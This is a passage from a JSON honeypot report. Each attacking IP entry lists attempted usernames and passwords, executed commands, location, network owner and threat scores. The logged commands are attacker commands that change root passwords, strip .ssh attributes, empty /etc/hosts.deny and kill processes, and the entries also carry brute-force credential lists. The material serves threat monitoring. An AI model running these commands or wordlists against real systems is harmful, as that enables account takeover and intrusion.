      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 715,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:18:47.310000+00:00",
        "last_seen_30d": "2026-05-15T05:35:34.662000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 582,
        "Suricata": 133
      }
    },
    "4.240.82.91": {
      "attack_count": 561,
      "first_seen": "2026-05-16T20:23:21.990Z",
      "last_seen": "2026-05-25T07:42:55.653Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "curl",
        "dbuser",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "20192019",
        "320320",
        "Aa121314",
        "Wangsu@2017",
        "andrea123",
        "apache123",
        "asdQWE123",
        "bismillah",
        "bling",
        "cloudroot",
        "dany123",
        "dbuser",
        "fjbdfdjkdsfs541544AA@@",
        "helu",
        "p?ssworD",
        "packers",
        "q"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\njxM7pKPwK7uH\\njxM7pKPwK7uH\\n\"|passwd",
        "echo \"Wangsu@2017\\n54Vs4vGanOmZ\\n54Vs4vGanOmZ\\n\"|passwd",
        "echo \"root:2QJkQbBCH8oK\"|chpasswd|bash",
        "echo \"root:5eCj9uqaTwsG\"|chpasswd|bash",
        "echo \"root:esEjjxz9wJuW\"|chpasswd|bash",
        "echo \"root:fxIAHOJCrgPs\"|chpasswd|bash",
        "echo -e \"12345678\\njxM7pKPwK7uH\\njxM7pKPwK7uH\"|passwd|bash",
        "echo -e \"Wangsu@2017\\n54Vs4vGanOmZ\\n54Vs4vGanOmZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 684,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:23:21.990000+00:00",
        "last_seen_30d": "2026-05-25T07:44:01.346000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 561,
        "Suricata": 123
      }
    },
    "103.250.11.156": {
      "attack_count": 518,
      "first_seen": "2026-05-21T09:47:10.710Z",
      "last_seen": "2026-05-21T10:20:20.960Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "fu",
        "kubeadmin",
        "tiller",
        "zhao",
        "admin",
        "bind",
        "ho",
        "opensuse",
        "tencent",
        "v2ray",
        "vps",
        "wangfang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "Dd112211",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray",
        "wangfang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nkYVGtcbwqUFm\\nkYVGtcbwqUFm\\n\"|passwd",
        "echo \"ctrip\\nSvnWjVj023LO\\nSvnWjVj023LO\\n\"|passwd",
        "echo \"fu\\nFBM6A9nmtSvP\\nFBM6A9nmtSvP\\n\"|passwd",
        "echo \"kubernetes\\nuhawuWi3FRhH\\nuhawuWi3FRhH\\n\"|passwd",
        "echo \"root:QFlHivMBdHAE\"|chpasswd|bash",
        "echo \"tiller\\nOWjtt2xruIOv\\nOWjtt2xruIOv\\n\"|passwd",
        "echo -e \"123456\\nkYVGtcbwqUFm\\nkYVGtcbwqUFm\"|passwd|bash",
        "echo -e \"ctrip\\nSvnWjVj023LO\\nSvnWjVj023LO\"|passwd|bash",
        "echo -e \"fu\\nFBM6A9nmtSvP\\nFBM6A9nmtSvP\"|passwd|bash",
        "echo -e \"kubernetes\\nuhawuWi3FRhH\\nuhawuWi3FRhH\"|passwd|bash",
        "echo -e \"tiller\\nOWjtt2xruIOv\\nOWjtt2xruIOv\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:47:10.710000+00:00",
        "last_seen_30d": "2026-05-21T10:21:25.759000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 518,
        "Suricata": 72
      }
    },
    "181.48.91.126": {
      "attack_count": 449,
      "first_seen": "2026-05-21T09:44:14.272Z",
      "last_seen": "2026-05-21T10:19:42.789Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "kubeadmin",
        "tiller",
        "zhao",
        "admin",
        "bind",
        "fu",
        "ho",
        "opensuse",
        "tencent",
        "v2ray",
        "vps",
        "wangfang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "Dd112211",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray",
        "wangfang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n0NuEWejGlkrg\\n0NuEWejGlkrg\\n\"|passwd",
        "echo \"ctrip\\npw7nxmQhPnwa\\npw7nxmQhPnwa\\n\"|passwd",
        "echo \"kubernetes\\nNAPaB569g2uh\\nNAPaB569g2uh\\n\"|passwd",
        "echo \"root:z6wbjFQmhcJA\"|chpasswd|bash",
        "echo \"tiller\\nTW841nyLCuZ1\\nTW841nyLCuZ1\\n\"|passwd",
        "echo -e \"123456\\n0NuEWejGlkrg\\n0NuEWejGlkrg\"|passwd|bash",
        "echo -e \"ctrip\\npw7nxmQhPnwa\\npw7nxmQhPnwa\"|passwd|bash",
        "echo -e \"kubernetes\\nNAPaB569g2uh\\nNAPaB569g2uh\"|passwd|bash",
        "echo -e \"tiller\\nTW841nyLCuZ1\\nTW841nyLCuZ1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cota",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:44:14.272000+00:00",
        "last_seen_30d": "2026-05-21T10:20:43.956000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 449,
        "Suricata": 69
      }
    },
    "172.174.72.225": {
      "attack_count": 422,
      "first_seen": "2026-05-23T03:35:17.229Z",
      "last_seen": "2026-05-31T10:33:08.069Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alex",
        "ansible",
        "debian",
        "dev",
        "ehsan",
        "gateway",
        "hadoop",
        "jirka",
        "mathias",
        "nana",
        "runner",
        "sg",
        "staging",
        "user",
        "wordpress",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!Q@W#E$R1q2w3e4r",
        "010203",
        "123123",
        "123456",
        "12345678Abc",
        "123456@Abc",
        "123456Aa!",
        "123456Lh",
        "1qaz!QAZ",
        "94",
        "Admin111",
        "Admin123...",
        "Qwerty123!",
        "User@1234",
        "aA123321",
        "alex@123",
        "changeme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:F0KKWK0KrnWi\"|chpasswd|bash",
        "echo \"root:FKww4Seaa7jZ\"|chpasswd|bash",
        "echo \"root:ki6doohAMlgw\"|chpasswd|bash",
        "echo \"root:ueVgOXsE3UgC\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 511,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:35:17.229000+00:00",
        "last_seen_30d": "2026-05-31T10:34:15.258000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 89
      }
    },
    "170.106.82.124": {
      "attack_count": 373,
      "first_seen": "2026-05-17T11:44:22.185Z",
      "last_seen": "2026-05-17T12:12:50.612Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "es",
        "sangoma"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t",
        "12345!",
        "123qaz!@#",
        "Abc@111111",
        "Cq123456",
        "Hy@123456",
        "Itsemoemo2025@Washere2025",
        "Passwort123",
        "Ql123456",
        "Qwe123456.",
        "Qweqwe123",
        "a1",
        "aaa111222",
        "aaa123321",
        "admin123456@",
        "asd123,./",
        "es",
        "postgres@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"postgres@123\\nbjcy5nT2zv0J\\nbjcy5nT2zv0J\\n\"|passwd",
        "echo \"root:3xxSjCOdEztj\"|chpasswd|bash",
        "echo \"root:DrhSxRyVRbCq\"|chpasswd|bash",
        "echo \"root:kgJUFdpGDWVy\"|chpasswd|bash",
        "echo -e \"postgres@123\\nbjcy5nT2zv0J\\nbjcy5nT2zv0J\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:44:22.185000+00:00",
        "last_seen_30d": "2026-05-17T12:14:00.206000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 61
      }
    },
    "100.54.149.28": {
      "attack_count": 371,
      "first_seen": "2026-05-27T07:56:55.909Z",
      "last_seen": "2026-05-29T07:06:02.454Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "kai",
        "ubuntu",
        "bacula",
        "bash",
        "ecoserver",
        "foundry",
        "freelancer",
        "ftp2",
        "jeff",
        "jose",
        "modify",
        "rizky",
        "silvia",
        "sonu",
        "sshuser",
        "systemd",
        "toto"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1",
        "123456",
        "1qaz1QAZ",
        "1qaz@WSX3edc",
        "3edcVFR$",
        "585858",
        "Aa@12345678",
        "Abc@123123",
        "Berbidvps.ir",
        "Voidsetdownload.so",
        "Xx123456789",
        "Zs123456",
        "bacula",
        "bash",
        "ecoserver",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544AA@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\n52L7G1ZAyIbG\\n52L7G1ZAyIbG\\n\"|passwd",
        "echo \"kai\\nY7oNqytzoUlw\\nY7oNqytzoUlw\\n\"|passwd",
        "echo \"root:IvCaoTsGqy4P\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\n52L7G1ZAyIbG\\n52L7G1ZAyIbG\"|passwd|bash",
        "echo -e \"kai\\nY7oNqytzoUlw\\nY7oNqytzoUlw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:56:55.909000+00:00",
        "last_seen_30d": "2026-05-29T07:07:08.780000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 371,
        "Suricata": 88
      }
    },
    "179.51.153.37": {
      "attack_count": 306,
      "first_seen": "2026-05-13T14:42:28.802Z",
      "last_seen": "2026-05-13T15:24:11.810Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "foundry",
        "wy",
        "adminz",
        "db",
        "oracle",
        "sepehr",
        "temp",
        "test",
        "user",
        "zomboid"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#Abc123",
        "1234",
        "123456",
        "Abcd1234#",
        "Change@123",
        "Df123456",
        "Fy123456",
        "Login@123",
        "Lt12345678",
        "Qwerty2025",
        "Test12345",
        "abcd",
        "adminz",
        "c0b4d1b4c4",
        "db",
        "letmein123",
        "sepehr",
        "temp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nNBvSGhbkl66P\\nNBvSGhbkl66P\\n\"|passwd",
        "echo \"root:u4Qf9gLbBIHV\"|chpasswd|bash",
        "echo \"wy@123\\n4zIsiKHDG5mF\\n4zIsiKHDG5mF\\n\"|passwd",
        "echo -e \"123456\\nNBvSGhbkl66P\\nNBvSGhbkl66P\"|passwd|bash",
        "echo -e \"wy@123\\n4zIsiKHDG5mF\\n4zIsiKHDG5mF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Eun\u00e1polis",
      "asn": 271186,
      "as_org": "EUNAPOLIS TELECOM LTDA",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:42:28.802000+00:00",
        "last_seen_30d": "2026-05-13T15:25:14.056000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 57
      }
    },
    "45.95.233.88": {
      "attack_count": 238,
      "first_seen": "2026-05-14T07:31:45.706Z",
      "last_seen": "2026-05-18T12:43:42.450Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "------fuck------",
        "1959",
        "afrika",
        "asancar",
        "asbjorn",
        "bubba",
        "buffy",
        "cdl",
        "clinton",
        "farmacia",
        "great",
        "hatsune",
        "hidetoshi",
        "iloveyou",
        "letmein!",
        "lh123",
        "pyramid",
        "recovery"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VaomYuYGBBUP\"|chpasswd|bash",
        "echo \"root:nRONVNf07YaN\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:31:45.706000+00:00",
        "last_seen_30d": "2026-05-18T12:44:50.517000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 54
      }
    },
    "165.245.180.161": {
      "attack_count": 219,
      "first_seen": "2026-05-08T03:14:41.139Z",
      "last_seen": "2026-05-08T03:55:59.333Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "test",
        "admin",
        "louis",
        "user",
        "345gs5662d34",
        "dev",
        "esuser",
        "ftpuser",
        "guest",
        "maurice",
        "nxuser",
        "rustserver",
        "tempuser",
        "test01",
        "testtest",
        "testuser",
        "tileserver",
        "user01"
      ],
      "passwords_attempted": [
        "test",
        "!@#test!@#",
        "!QAZ2wsx",
        "123321",
        "12344321",
        "123qwe./",
        "1qaz2wsx3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Ubuntu@123",
        "admin.2024",
        "admin123",
        "admin@2017",
        "adminadmin",
        "adminroot123",
        "bestserver",
        "biadmin",
        "ninja",
        "nxuser",
        "passw0rd@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test\\nsT1D9feNIw0E\\nsT1D9feNIw0E\\n\"|passwd",
        "echo -e \"test\\nsT1D9feNIw0E\\nsT1D9feNIw0E\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:14:41.139000+00:00",
        "last_seen_30d": "2026-05-08T03:57:06.626000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "8.210.11.56": {
      "attack_count": 219,
      "first_seen": "2026-05-03T07:19:10.262Z",
      "last_seen": "2026-05-03T07:57:54.035Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "testftp",
        "345gs5662d34",
        "administrador",
        "devops",
        "jack",
        "myuser",
        "newftpuser",
        "postfixtester",
        "postgres",
        "sadmin",
        "test",
        "test12345",
        "ts3",
        "user",
        "user5",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "000",
        "102030",
        "111111",
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "777888",
        "Abcd1234",
        "Passw0rd",
        "abc",
        "admin12!@",
        "admin1314",
        "admin@12345678",
        "admins",
        "buntu",
        "demo123",
        "devopsdevops",
        "pass1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admins\\ngNk9DuzwotRa\\ngNk9DuzwotRa\\n\"|passwd",
        "echo -e \"admins\\ngNk9DuzwotRa\\ngNk9DuzwotRa\"|passwd|bash",
